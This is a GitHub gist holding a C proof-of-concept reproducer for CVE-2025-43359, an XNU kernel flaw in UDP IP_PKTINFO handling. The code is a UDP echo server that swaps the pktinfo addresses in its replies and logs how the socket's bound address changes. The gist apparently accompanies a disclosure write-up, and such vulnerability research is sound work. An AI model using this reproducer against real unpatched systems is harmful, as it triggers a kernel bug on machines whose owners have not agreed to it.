Last active
October 13, 2025 17:00
-
-
Save stek29/a90f36ada04e0f1367a263865d520d79 to your computer and use it in GitHub Desktop.
PoC for CVE-2025-43359, see https://stek29.rocks/2025/10/13/xnu-udp-pktinfo-cve
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define _GNU_SOURCE | |
| #include <arpa/inet.h> | |
| #include <netinet/in.h> | |
| #include <netinet/ip.h> | |
| #include <stdarg.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/socket.h> | |
| #include <unistd.h> | |
| #define BUFFER_SIZE 1024 | |
| #define CONTROL_BUFFER_SIZE 1024 | |
| // This is a PoC/reproducer for CVE-2025-43359 | |
| // See https://stek29.rocks/2025/10/13/xnu-udp-pktinfo-cve for the full report | |
| void uslogf(const char *fmt, ...) { | |
| va_list args; | |
| va_start(args, fmt); | |
| fprintf(stdout, "[%d] ", getpid()); | |
| vfprintf(stdout, fmt, args); | |
| va_end(args); | |
| } | |
| void print_hex(const unsigned char *data, size_t len) { | |
| for (size_t i = 0; i < len; ++i) { | |
| if (i % 16 == 0) | |
| fprintf(stdout, "[%d] ", getpid()); | |
| printf("%02x ", data[i]); | |
| if ((i + 1) % 16 == 0) | |
| printf("\n"); | |
| } | |
| if (len % 16 != 0) | |
| printf("\n"); | |
| } | |
| void print_bound_address(int sockfd, const char *label) { | |
| struct sockaddr_in addr; | |
| socklen_t addrlen = sizeof(addr); | |
| if (getsockname(sockfd, (struct sockaddr *)&addr, &addrlen) == 0) { | |
| char ip[INET_ADDRSTRLEN]; | |
| inet_ntop(AF_INET, &addr.sin_addr, ip, sizeof(ip)); | |
| uslogf("[%s] Bound address: %s:%d\n", label, ip, ntohs(addr.sin_port)); | |
| } else { | |
| perror("getsockname failed"); | |
| } | |
| } | |
| void print_control_messages(struct msghdr *msg) { | |
| struct cmsghdr *cmsg; | |
| for (cmsg = CMSG_FIRSTHDR(msg); cmsg != NULL; cmsg = CMSG_NXTHDR(msg, cmsg)) { | |
| uslogf("control: level=%d, type=%d, len=%u\n", cmsg->cmsg_level, | |
| cmsg->cmsg_type, (unsigned)cmsg->cmsg_len); | |
| if (cmsg->cmsg_level == IPPROTO_IP && cmsg->cmsg_type == IP_PKTINFO) { | |
| struct in_pktinfo *pktinfo = (struct in_pktinfo *)CMSG_DATA(cmsg); | |
| char dst[INET_ADDRSTRLEN], spec[INET_ADDRSTRLEN]; | |
| inet_ntop(AF_INET, &pktinfo->ipi_addr, dst, sizeof(dst)); | |
| inet_ntop(AF_INET, &pktinfo->ipi_spec_dst, spec, sizeof(spec)); | |
| uslogf("addr: %s, spec_dst: %s (interface index: %d)\n", dst, spec, | |
| pktinfo->ipi_ifindex); | |
| } | |
| } | |
| } | |
| int main(int argc, char *argv[]) { | |
| if (argc != 3) { | |
| fprintf(stderr, "Usage: %s <listen_addr> <port>\n", argv[0]); | |
| return EXIT_FAILURE; | |
| } | |
| const char *listen_addr = argv[1]; | |
| int port = atoi(argv[2]); | |
| int sockfd; | |
| struct sockaddr_in server_addr, client_addr; | |
| char buffer[BUFFER_SIZE]; | |
| char control_buffer[CONTROL_BUFFER_SIZE]; | |
| struct iovec iov[1]; | |
| struct msghdr msg; | |
| struct cmsghdr *cmsg; | |
| struct in_pktinfo *pktinfo; | |
| socklen_t client_len = sizeof(client_addr); | |
| if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { | |
| perror("socket failed"); | |
| exit(EXIT_FAILURE); | |
| } | |
| int opt = 1; | |
| if (setsockopt(sockfd, IPPROTO_IP, IP_PKTINFO, &opt, sizeof(opt)) < 0) { | |
| perror("setsockopt IP_PKTINFO failed"); | |
| close(sockfd); | |
| exit(EXIT_FAILURE); | |
| } | |
| memset(&server_addr, 0, sizeof(server_addr)); | |
| server_addr.sin_family = AF_INET; | |
| inet_pton(AF_INET, listen_addr, &server_addr.sin_addr); | |
| server_addr.sin_port = htons(port); | |
| if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { | |
| perror("bind failed"); | |
| close(sockfd); | |
| exit(EXIT_FAILURE); | |
| } | |
| uslogf("Listening on %s:%d\n", listen_addr, port); | |
| print_bound_address(sockfd, "initial"); | |
| while (1) { | |
| memset(&msg, 0, sizeof(msg)); | |
| memset(&client_addr, 0, sizeof(client_addr)); | |
| memset(control_buffer, 0, CONTROL_BUFFER_SIZE); | |
| iov[0].iov_base = buffer; | |
| iov[0].iov_len = sizeof(buffer); | |
| msg.msg_name = &client_addr; | |
| msg.msg_namelen = sizeof(client_addr); | |
| msg.msg_iov = iov; | |
| msg.msg_iovlen = 1; | |
| msg.msg_control = control_buffer; | |
| msg.msg_controllen = CONTROL_BUFFER_SIZE; | |
| ssize_t n = recvmsg(sockfd, &msg, 0); | |
| if (n < 0) { | |
| perror("recvmsg failed"); | |
| continue; | |
| } | |
| uslogf("[recvmsg] control buffer (%u bytes):\n", msg.msg_controllen); | |
| print_hex((unsigned char *)msg.msg_control, msg.msg_controllen); | |
| print_control_messages(&msg); | |
| pktinfo = NULL; | |
| for (cmsg = CMSG_FIRSTHDR(&msg); cmsg != NULL; | |
| cmsg = CMSG_NXTHDR(&msg, cmsg)) { | |
| if (cmsg->cmsg_level == IPPROTO_IP && cmsg->cmsg_type == IP_PKTINFO) { | |
| pktinfo = (struct in_pktinfo *)CMSG_DATA(cmsg); | |
| break; | |
| } | |
| } | |
| char client_ip[INET_ADDRSTRLEN]; | |
| inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, sizeof(client_ip)); | |
| uslogf("received %zd bytes from %s:%d\n", n, client_ip, | |
| ntohs(client_addr.sin_port)); | |
| print_hex((unsigned char *)buffer, n); | |
| struct msghdr reply_msg; | |
| struct iovec reply_iov[1]; | |
| char reply_ctrl[CONTROL_BUFFER_SIZE]; | |
| memset(&reply_msg, 0, sizeof(reply_msg)); | |
| memset(reply_ctrl, 0, sizeof(reply_ctrl)); | |
| reply_iov[0].iov_base = buffer; | |
| reply_iov[0].iov_len = n; | |
| reply_msg.msg_name = &client_addr; | |
| reply_msg.msg_namelen = sizeof(client_addr); | |
| reply_msg.msg_iov = reply_iov; | |
| reply_msg.msg_iovlen = 1; | |
| reply_msg.msg_control = reply_ctrl; | |
| reply_msg.msg_controllen = CMSG_SPACE(sizeof(struct in_pktinfo)); | |
| struct cmsghdr *reply_cmsg = CMSG_FIRSTHDR(&reply_msg); | |
| reply_cmsg->cmsg_level = IPPROTO_IP; | |
| reply_cmsg->cmsg_type = IP_PKTINFO; | |
| reply_cmsg->cmsg_len = CMSG_LEN(sizeof(struct in_pktinfo)); | |
| struct in_pktinfo *reply_pktinfo = | |
| (struct in_pktinfo *)CMSG_DATA(reply_cmsg); | |
| memset(reply_pktinfo, 0, sizeof(struct in_pktinfo)); | |
| if (pktinfo) { | |
| reply_pktinfo->ipi_ifindex = pktinfo->ipi_ifindex; | |
| reply_pktinfo->ipi_spec_dst = pktinfo->ipi_addr; | |
| reply_pktinfo->ipi_addr = pktinfo->ipi_spec_dst; | |
| } | |
| uslogf("[sendmsg] control buffer (%u bytes):\n", reply_msg.msg_controllen); | |
| print_hex((unsigned char *)reply_msg.msg_control, reply_msg.msg_controllen); | |
| print_control_messages(&reply_msg); | |
| print_bound_address(sockfd, "before sendmsg"); | |
| if (sendmsg(sockfd, &reply_msg, 0) < 0) { | |
| perror("sendmsg failed"); | |
| } else { | |
| uslogf("sent %zd bytes to %s:%d\n", n, client_ip, | |
| ntohs(client_addr.sin_port)); | |
| print_hex((unsigned char *)buffer, n); | |
| } | |
| print_bound_address(sockfd, "after sendmsg"); | |
| } | |
| close(sockfd); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment